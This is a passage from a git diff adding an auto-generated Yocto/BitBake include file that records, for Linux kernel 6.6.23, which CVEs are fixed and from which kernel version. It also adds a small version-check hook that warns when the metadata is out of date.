+See: https://bugzilla.suse.com/show_bug.cgi?id=1208844#c2"
diff --git a/meta/recipes-kernel/linux/cve-exclusion_6.6.inc b/meta/recipes-kernel/linux/cve-exclusion_6.6.inc
new file mode 100644
index 0000000000..bb9ba49c48
--- /dev/null
+++ b/meta/recipes-kernel/linux/cve-exclusion_6.6.inc
@@ -0,0 +1,5384 @@
+
+# Auto-generated CVE metadata, DO NOT EDIT BY HAND.
+# Generated at 2024-03-28 16:40:04.102652+00:00 for version 6.6.23
+
+python check_kernel_cve_status_version() {
+ this_version = "6.6.23"
+ kernel_version = d.getVar("LINUX_VERSION")
+ if kernel_version != this_version:
+ bb.warn("Kernel CVE status needs updating: generated for %s but kernel is %s" % (this_version, kernel_version))
+}
+do_cve_check[prefuncs] += "check_kernel_cve_status_version"
+
+CVE_STATUS[CVE-2003-1604] = "fixed-version: Fixed from version 2.6.12rc2"
+
+CVE_STATUS[CVE-2004-0230] = "fixed-version: Fixed from version 3.6rc1"
+
+# CVE-2005-3660 has no known resolution
+
+CVE_STATUS[CVE-2006-3635] = "fixed-version: Fixed from version 2.6.26rc5"
+
+CVE_STATUS[CVE-2006-5331] = "fixed-version: Fixed from version 2.6.19rc3"
+
+CVE_STATUS[CVE-2006-6128] = "fixed-version: Fixed from version 2.6.19rc2"
+
+# CVE-2007-3719 has no known resolution
+
+CVE_STATUS[CVE-2007-4774] = "fixed-version: Fixed from version 2.6.12rc2"
+
+CVE_STATUS[CVE-2007-6761] = "fixed-version: Fixed from version 2.6.24rc6"
+
+CVE_STATUS[CVE-2007-6762] = "fixed-version: Fixed from version 2.6.20rc5"
+
+# CVE-2008-2544 has no known resolution
+
+# CVE-2008-4609 has no known resolution
+
+CVE_STATUS[CVE-2008-7316] = "fixed-version: Fixed from version 2.6.25rc1"
+
+CVE_STATUS[CVE-2009-2692] = "fixed-version: Fixed from version 2.6.31rc6"
+
+CVE_STATUS[CVE-2010-0008] = "fixed-version: Fixed from version 2.6.23rc9"
+
+CVE_STATUS[CVE-2010-3432] = "fixed-version: Fixed from version 2.6.36rc5"
+
+# CVE-2010-4563 has no known resolution
+
+CVE_STATUS[CVE-2010-4648] = "fixed-version: Fixed from version 2.6.37rc6"
+
+CVE_STATUS[CVE-2010-5313] = "fixed-version: Fixed from version 2.6.38rc1"
+
+# CVE-2010-5321 has no known resolution
+
+CVE_STATUS[CVE-2010-5328] = "fixed-version: Fixed from version 2.6.35rc1"
+
+CVE_STATUS[CVE-2010-5329] = "fixed-version: Fixed from version 2.6.39rc1"
+
+CVE_STATUS[CVE-2010-5331] = "fixed-version: Fixed from version 2.6.34rc7"
+
+CVE_STATUS[CVE-2010-5332] = "fixed-version: Fixed from version 2.6.37rc1"
+
+CVE_STATUS[CVE-2011-4098] = "fixed-version: Fixed from version 3.2rc1"
+
+CVE_STATUS[CVE-2011-4131] = "fixed-version: Fixed from version 3.3rc1"
+
+CVE_STATUS[CVE-2011-4915] = "fixed-version: Fixed from version 3.2rc1"
+
+# CVE-2011-4916 has no known resolution
+
+# CVE-2011-4917 has no known resolution
+
+CVE_STATUS[CVE-2011-5321] = "fixed-version: Fixed from version 3.2rc1"
+
+CVE_STATUS[CVE-2011-5327] = "fixed-version: Fixed from version 3.1rc1"
+
+CVE_STATUS[CVE-2012-0957] = "fixed-version: Fixed from version 3.7rc2"
+
+CVE_STATUS[CVE-2012-2119] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2012-2136] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2012-2137] = "fixed-version: Fixed from version 3.5rc2"
+
+CVE_STATUS[CVE-2012-2313] = "fixed-version: Fixed from version 3.4rc6"
+
+CVE_STATUS[CVE-2012-2319] = "fixed-version: Fixed from version 3.4rc6"
+
+CVE_STATUS[CVE-2012-2372] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2012-2375] = "fixed-version: Fixed from version 3.4rc1"
+
+CVE_STATUS[CVE-2012-2390] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2012-2669] = "fixed-version: Fixed from version 3.5rc4"
+
+CVE_STATUS[CVE-2012-2744] = "fixed-version: Fixed from version 2.6.34rc1"
+
+CVE_STATUS[CVE-2012-2745] = "fixed-version: Fixed from version 3.4rc3"
+
+CVE_STATUS[CVE-2012-3364] = "fixed-version: Fixed from version 3.5rc6"
+
+CVE_STATUS[CVE-2012-3375] = "fixed-version: Fixed from version 3.4rc5"
+
+CVE_STATUS[CVE-2012-3400] = "fixed-version: Fixed from version 3.5rc5"
+
+CVE_STATUS[CVE-2012-3412] = "fixed-version: Fixed from version 3.6rc2"
+
+CVE_STATUS[CVE-2012-3430] = "fixed-version: Fixed from version 3.6rc1"
+
+CVE_STATUS[CVE-2012-3510] = "fixed-version: Fixed from version 2.6.19rc4"
+
+CVE_STATUS[CVE-2012-3511] = "fixed-version: Fixed from version 3.5rc6"
+
+CVE_STATUS[CVE-2012-3520] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-3552] = "fixed-version: Fixed from version 3.0rc1"
+
+# Skipping CVE-2012-4220, no affected_versions
+
+# Skipping CVE-2012-4221, no affected_versions
+
+# Skipping CVE-2012-4222, no affected_versions
+
+CVE_STATUS[CVE-2012-4398] = "fixed-version: Fixed from version 3.4rc1"
+
+CVE_STATUS[CVE-2012-4444] = "fixed-version: Fixed from version 2.6.36rc4"
+
+CVE_STATUS[CVE-2012-4461] = "fixed-version: Fixed from version 3.7rc6"
+
+CVE_STATUS[CVE-2012-4467] = "fixed-version: Fixed from version 3.6rc5"
+
+CVE_STATUS[CVE-2012-4508] = "fixed-version: Fixed from version 3.7rc3"
+
+CVE_STATUS[CVE-2012-4530] = "fixed-version: Fixed from version 3.8rc1"
+
+# CVE-2012-4542 has no known resolution
+
+CVE_STATUS[CVE-2012-4565] = "fixed-version: Fixed from version 3.7rc4"
+
+CVE_STATUS[CVE-2012-5374] = "fixed-version: Fixed from version 3.8rc1"
+
+CVE_STATUS[CVE-2012-5375] = "fixed-version: Fixed from version 3.8rc1"
+
+CVE_STATUS[CVE-2012-5517] = "fixed-version: Fixed from version 3.6rc1"
+
+CVE_STATUS[CVE-2012-6536] = "fixed-version: Fixed from version 3.6rc7"
+
+CVE_STATUS[CVE-2012-6537] = "fixed-version: Fixed from version 3.6rc7"
+
+CVE_STATUS[CVE-2012-6538] = "fixed-version: Fixed from version 3.6rc7"
+
+CVE_STATUS[CVE-2012-6539] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6540] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6541] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6542] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6543] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6544] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6545] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6546] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2012-6547] = "fixed-version: Fixed from version 3.6rc1"
+
+CVE_STATUS[CVE-2012-6548] = "fixed-version: Fixed from version 3.6rc1"
+
+CVE_STATUS[CVE-2012-6549] = "fixed-version: Fixed from version 3.6rc1"
+
+CVE_STATUS[CVE-2012-6638] = "fixed-version: Fixed from version 3.3rc1"
+
+CVE_STATUS[CVE-2012-6647] = "fixed-version: Fixed from version 3.6rc2"
+
+CVE_STATUS[CVE-2012-6657] = "fixed-version: Fixed from version 3.6"
+
+CVE_STATUS[CVE-2012-6689] = "fixed-version: Fixed from version 3.6rc5"
+
+CVE_STATUS[CVE-2012-6701] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2012-6703] = "fixed-version: Fixed from version 3.7rc1"
+
+CVE_STATUS[CVE-2012-6704] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2012-6712] = "fixed-version: Fixed from version 3.4rc1"
+
+CVE_STATUS[CVE-2013-0160] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-0190] = "fixed-version: Fixed from version 3.8rc5"
+
+CVE_STATUS[CVE-2013-0216] = "fixed-version: Fixed from version 3.8rc7"
+
+CVE_STATUS[CVE-2013-0217] = "fixed-version: Fixed from version 3.8rc7"
+
+CVE_STATUS[CVE-2013-0228] = "fixed-version: Fixed from version 3.8"
+
+CVE_STATUS[CVE-2013-0231] = "fixed-version: Fixed from version 3.8rc7"
+
+CVE_STATUS[CVE-2013-0268] = "fixed-version: Fixed from version 3.8rc6"
+
+CVE_STATUS[CVE-2013-0290] = "fixed-version: Fixed from version 3.8"
+
+CVE_STATUS[CVE-2013-0309] = "fixed-version: Fixed from version 3.7rc1"
+
+CVE_STATUS[CVE-2013-0310] = "fixed-version: Fixed from version 3.5"
+
+CVE_STATUS[CVE-2013-0311] = "fixed-version: Fixed from version 3.7rc8"
+
+CVE_STATUS[CVE-2013-0313] = "fixed-version: Fixed from version 3.8rc5"
+
+CVE_STATUS[CVE-2013-0343] = "fixed-version: Fixed from version 3.11rc7"
+
+CVE_STATUS[CVE-2013-0349] = "fixed-version: Fixed from version 3.8rc6"
+
+CVE_STATUS[CVE-2013-0871] = "fixed-version: Fixed from version 3.8rc5"
+
+CVE_STATUS[CVE-2013-0913] = "fixed-version: Fixed from version 3.9rc4"
+
+CVE_STATUS[CVE-2013-0914] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-1059] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-1763] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-1767] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-1772] = "fixed-version: Fixed from version 3.5rc1"
+
+CVE_STATUS[CVE-2013-1773] = "fixed-version: Fixed from version 3.3rc1"
+
+CVE_STATUS[CVE-2013-1774] = "fixed-version: Fixed from version 3.8rc5"
+
+CVE_STATUS[CVE-2013-1792] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-1796] = "fixed-version: Fixed from version 3.9rc4"
+
+CVE_STATUS[CVE-2013-1797] = "fixed-version: Fixed from version 3.9rc4"
+
+CVE_STATUS[CVE-2013-1798] = "fixed-version: Fixed from version 3.9rc4"
+
+CVE_STATUS[CVE-2013-1819] = "fixed-version: Fixed from version 3.8rc6"
+
+CVE_STATUS[CVE-2013-1826] = "fixed-version: Fixed from version 3.6rc7"
+
+CVE_STATUS[CVE-2013-1827] = "fixed-version: Fixed from version 3.6rc3"
+
+CVE_STATUS[CVE-2013-1828] = "fixed-version: Fixed from version 3.9rc2"
+
+CVE_STATUS[CVE-2013-1848] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-1858] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-1860] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-1928] = "fixed-version: Fixed from version 3.7rc3"
+
+CVE_STATUS[CVE-2013-1929] = "fixed-version: Fixed from version 3.9rc6"
+
+# Skipping CVE-2013-1935, no affected_versions
+
+CVE_STATUS[CVE-2013-1943] = "fixed-version: Fixed from version 3.0rc1"
+
+CVE_STATUS[CVE-2013-1956] = "fixed-version: Fixed from version 3.9rc5"
+
+CVE_STATUS[CVE-2013-1957] = "fixed-version: Fixed from version 3.9rc5"
+
+CVE_STATUS[CVE-2013-1958] = "fixed-version: Fixed from version 3.9rc5"
+
+CVE_STATUS[CVE-2013-1959] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-1979] = "fixed-version: Fixed from version 3.9rc8"
+
+CVE_STATUS[CVE-2013-2015] = "fixed-version: Fixed from version 3.8rc2"
+
+CVE_STATUS[CVE-2013-2017] = "fixed-version: Fixed from version 2.6.34"
+
+CVE_STATUS[CVE-2013-2058] = "fixed-version: Fixed from version 3.8rc4"
+
+CVE_STATUS[CVE-2013-2094] = "fixed-version: Fixed from version 3.9rc8"
+
+CVE_STATUS[CVE-2013-2128] = "fixed-version: Fixed from version 2.6.34rc4"
+
+CVE_STATUS[CVE-2013-2140] = "fixed-version: Fixed from version 3.11rc3"
+
+CVE_STATUS[CVE-2013-2141] = "fixed-version: Fixed from version 3.9rc8"
+
+CVE_STATUS[CVE-2013-2146] = "fixed-version: Fixed from version 3.9rc8"
+
+CVE_STATUS[CVE-2013-2147] = "fixed-version: Fixed from version 3.12rc3"
+
+CVE_STATUS[CVE-2013-2148] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-2164] = "fixed-version: Fixed from version 3.11rc1"
+
+# Skipping CVE-2013-2188, no affected_versions
+
+CVE_STATUS[CVE-2013-2206] = "fixed-version: Fixed from version 3.9rc4"
+
+# Skipping CVE-2013-2224, no affected_versions
+
+CVE_STATUS[CVE-2013-2232] = "fixed-version: Fixed from version 3.10"
+
+CVE_STATUS[CVE-2013-2234] = "fixed-version: Fixed from version 3.10"
+
+CVE_STATUS[CVE-2013-2237] = "fixed-version: Fixed from version 3.9rc6"
+
+# Skipping CVE-2013-2239, no affected_versions
+
+CVE_STATUS[CVE-2013-2546] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-2547] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-2548] = "fixed-version: Fixed from version 3.9rc1"
+
+CVE_STATUS[CVE-2013-2596] = "fixed-version: Fixed from version 3.9rc8"
+
+CVE_STATUS[CVE-2013-2634] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-2635] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-2636] = "fixed-version: Fixed from version 3.9rc3"
+
+CVE_STATUS[CVE-2013-2850] = "fixed-version: Fixed from version 3.10rc4"
+
+CVE_STATUS[CVE-2013-2851] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-2852] = "fixed-version: Fixed from version 3.10rc6"
+
+CVE_STATUS[CVE-2013-2888] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-2889] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2890] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2891] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2892] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-2893] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2894] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2895] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2896] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-2897] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-2898] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-2899] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-2929] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-2930] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-3076] = "fixed-version: Fixed from version 3.9"
+
+CVE_STATUS[CVE-2013-3222] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3223] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3224] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3225] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3226] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3227] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3228] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3229] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3230] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3231] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3232] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3233] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3234] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3235] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3236] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3237] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3301] = "fixed-version: Fixed from version 3.9rc7"
+
+CVE_STATUS[CVE-2013-3302] = "fixed-version: Fixed from version 3.8rc3"
+
+CVE_STATUS[CVE-2013-4125] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-4127] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-4129] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-4162] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-4163] = "fixed-version: Fixed from version 3.11rc1"
+
+CVE_STATUS[CVE-2013-4205] = "fixed-version: Fixed from version 3.11rc5"
+
+CVE_STATUS[CVE-2013-4220] = "fixed-version: Fixed from version 3.10rc4"
+
+CVE_STATUS[CVE-2013-4247] = "fixed-version: Fixed from version 3.10rc5"
+
+CVE_STATUS[CVE-2013-4254] = "fixed-version: Fixed from version 3.11rc6"
+
+CVE_STATUS[CVE-2013-4270] = "fixed-version: Fixed from version 3.12rc4"
+
+CVE_STATUS[CVE-2013-4299] = "fixed-version: Fixed from version 3.12rc6"
+
+CVE_STATUS[CVE-2013-4300] = "fixed-version: Fixed from version 3.11"
+
+CVE_STATUS[CVE-2013-4312] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2013-4343] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-4345] = "fixed-version: Fixed from version 3.13rc2"
+
+CVE_STATUS[CVE-2013-4348] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-4350] = "fixed-version: Fixed from version 3.12rc2"
+
+CVE_STATUS[CVE-2013-4387] = "fixed-version: Fixed from version 3.12rc4"
+
+CVE_STATUS[CVE-2013-4470] = "fixed-version: Fixed from version 3.12rc7"
+
+CVE_STATUS[CVE-2013-4483] = "fixed-version: Fixed from version 3.10rc1"
+
+CVE_STATUS[CVE-2013-4511] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4512] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4513] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4514] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4515] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4516] = "fixed-version: Fixed from version 3.12"
+
+CVE_STATUS[CVE-2013-4563] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-4579] = "fixed-version: Fixed from version 3.13rc7"
+
+CVE_STATUS[CVE-2013-4587] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2013-4588] = "fixed-version: Fixed from version 2.6.33rc4"
+
+CVE_STATUS[CVE-2013-4591] = "fixed-version: Fixed from version 3.8rc1"
+
+CVE_STATUS[CVE-2013-4592] = "fixed-version: Fixed from version 3.7rc1"
+
+# Skipping CVE-2013-4737, no affected_versions
+
+# Skipping CVE-2013-4738, no affected_versions
+
+# Skipping CVE-2013-4739, no affected_versions
+
+CVE_STATUS[CVE-2013-5634] = "fixed-version: Fixed from version 3.10rc5"
+
+CVE_STATUS[CVE-2013-6282] = "fixed-version: Fixed from version 3.6rc6"
+
+CVE_STATUS[CVE-2013-6367] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2013-6368] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2013-6376] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2013-6378] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-6380] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-6381] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-6382] = "fixed-version: Fixed from version 3.13rc4"
+
+CVE_STATUS[CVE-2013-6383] = "fixed-version: Fixed from version 3.12"
+
+# Skipping CVE-2013-6392, no affected_versions
+
+CVE_STATUS[CVE-2013-6431] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2013-6432] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-6885] = "fixed-version: Fixed from version 3.14rc1"
+
+CVE_STATUS[CVE-2013-7026] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7027] = "fixed-version: Fixed from version 3.12rc7"
+
+CVE_STATUS[CVE-2013-7263] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7264] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7265] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7266] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7267] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7268] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7269] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7270] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7271] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7281] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7339] = "fixed-version: Fixed from version 3.13rc7"
+
+CVE_STATUS[CVE-2013-7348] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2013-7421] = "fixed-version: Fixed from version 3.19rc1"
+
+# CVE-2013-7445 has no known resolution
+
+CVE_STATUS[CVE-2013-7446] = "fixed-version: Fixed from version 4.4rc4"
+
+CVE_STATUS[CVE-2013-7470] = "fixed-version: Fixed from version 3.12rc7"
+
+CVE_STATUS[CVE-2014-0038] = "fixed-version: Fixed from version 3.14rc1"
+
+CVE_STATUS[CVE-2014-0049] = "fixed-version: Fixed from version 3.14rc5"
+
+CVE_STATUS[CVE-2014-0055] = "fixed-version: Fixed from version 3.14"
+
+CVE_STATUS[CVE-2014-0069] = "fixed-version: Fixed from version 3.14rc4"
+
+CVE_STATUS[CVE-2014-0077] = "fixed-version: Fixed from version 3.14"
+
+CVE_STATUS[CVE-2014-0100] = "fixed-version: Fixed from version 3.14rc7"
+
+CVE_STATUS[CVE-2014-0101] = "fixed-version: Fixed from version 3.14rc6"
+
+CVE_STATUS[CVE-2014-0102] = "fixed-version: Fixed from version 3.14rc6"
+
+CVE_STATUS[CVE-2014-0131] = "fixed-version: Fixed from version 3.14rc7"
+
+CVE_STATUS[CVE-2014-0155] = "fixed-version: Fixed from version 3.15rc2"
+
+CVE_STATUS[CVE-2014-0181] = "fixed-version: Fixed from version 3.15rc5"
+
+CVE_STATUS[CVE-2014-0196] = "fixed-version: Fixed from version 3.15rc5"
+
+CVE_STATUS[CVE-2014-0203] = "fixed-version: Fixed from version 2.6.33rc5"
+
+CVE_STATUS[CVE-2014-0205] = "fixed-version: Fixed from version 2.6.37rc1"
+
+CVE_STATUS[CVE-2014-0206] = "fixed-version: Fixed from version 3.16rc3"
+
+# Skipping CVE-2014-0972, no affected_versions
+
+CVE_STATUS[CVE-2014-1438] = "fixed-version: Fixed from version 3.13"
+
+CVE_STATUS[CVE-2014-1444] = "fixed-version: Fixed from version 3.12rc7"
+
+CVE_STATUS[CVE-2014-1445] = "fixed-version: Fixed from version 3.12rc7"
+
+CVE_STATUS[CVE-2014-1446] = "fixed-version: Fixed from version 3.13rc7"
+
+CVE_STATUS[CVE-2014-1690] = "fixed-version: Fixed from version 3.13rc8"
+
+CVE_STATUS[CVE-2014-1737] = "fixed-version: Fixed from version 3.15rc5"
+
+CVE_STATUS[CVE-2014-1738] = "fixed-version: Fixed from version 3.15rc5"
+
+CVE_STATUS[CVE-2014-1739] = "fixed-version: Fixed from version 3.15rc6"
+
+CVE_STATUS[CVE-2014-1874] = "fixed-version: Fixed from version 3.14rc2"
+
+CVE_STATUS[CVE-2014-2038] = "fixed-version: Fixed from version 3.14rc1"
+
+CVE_STATUS[CVE-2014-2039] = "fixed-version: Fixed from version 3.14rc3"
+
+CVE_STATUS[CVE-2014-2309] = "fixed-version: Fixed from version 3.14rc7"
+
+CVE_STATUS[CVE-2014-2523] = "fixed-version: Fixed from version 3.14rc1"
+
+CVE_STATUS[CVE-2014-2568] = "fixed-version: Fixed from version 3.14"
+
+CVE_STATUS[CVE-2014-2580] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-2672] = "fixed-version: Fixed from version 3.14rc6"
+
+CVE_STATUS[CVE-2014-2673] = "fixed-version: Fixed from version 3.14rc6"
+
+CVE_STATUS[CVE-2014-2678] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-2706] = "fixed-version: Fixed from version 3.14rc6"
+
+CVE_STATUS[CVE-2014-2739] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-2851] = "fixed-version: Fixed from version 3.15rc2"
+
+CVE_STATUS[CVE-2014-2889] = "fixed-version: Fixed from version 3.2rc7"
+
+CVE_STATUS[CVE-2014-3122] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-3144] = "fixed-version: Fixed from version 3.15rc2"
+
+CVE_STATUS[CVE-2014-3145] = "fixed-version: Fixed from version 3.15rc2"
+
+CVE_STATUS[CVE-2014-3153] = "fixed-version: Fixed from version 3.15"
+
+CVE_STATUS[CVE-2014-3180] = "fixed-version: Fixed from version 3.17rc4"
+
+CVE_STATUS[CVE-2014-3181] = "fixed-version: Fixed from version 3.17rc3"
+
+CVE_STATUS[CVE-2014-3182] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-3183] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-3184] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-3185] = "fixed-version: Fixed from version 3.17rc3"
+
+CVE_STATUS[CVE-2014-3186] = "fixed-version: Fixed from version 3.17rc3"
+
+# Skipping CVE-2014-3519, no affected_versions
+
+CVE_STATUS[CVE-2014-3534] = "fixed-version: Fixed from version 3.16rc7"
+
+CVE_STATUS[CVE-2014-3535] = "fixed-version: Fixed from version 2.6.36rc1"
+
+CVE_STATUS[CVE-2014-3601] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-3610] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-3611] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-3631] = "fixed-version: Fixed from version 3.17rc5"
+
+CVE_STATUS[CVE-2014-3645] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2014-3646] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-3647] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-3673] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-3687] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-3688] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-3690] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-3917] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2014-3940] = "fixed-version: Fixed from version 3.15"
+
+CVE_STATUS[CVE-2014-4014] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2014-4027] = "fixed-version: Fixed from version 3.14rc1"
+
+CVE_STATUS[CVE-2014-4157] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-4171] = "fixed-version: Fixed from version 3.16rc3"
+
+# Skipping CVE-2014-4322, no affected_versions
+
+# Skipping CVE-2014-4323, no affected_versions
+
+CVE_STATUS[CVE-2014-4508] = "fixed-version: Fixed from version 3.16rc3"
+
+CVE_STATUS[CVE-2014-4608] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-4611] = "fixed-version: Fixed from version 3.16rc3"
+
+CVE_STATUS[CVE-2014-4652] = "fixed-version: Fixed from version 3.16rc2"
+
+CVE_STATUS[CVE-2014-4653] = "fixed-version: Fixed from version 3.16rc2"
+
+CVE_STATUS[CVE-2014-4654] = "fixed-version: Fixed from version 3.16rc2"
+
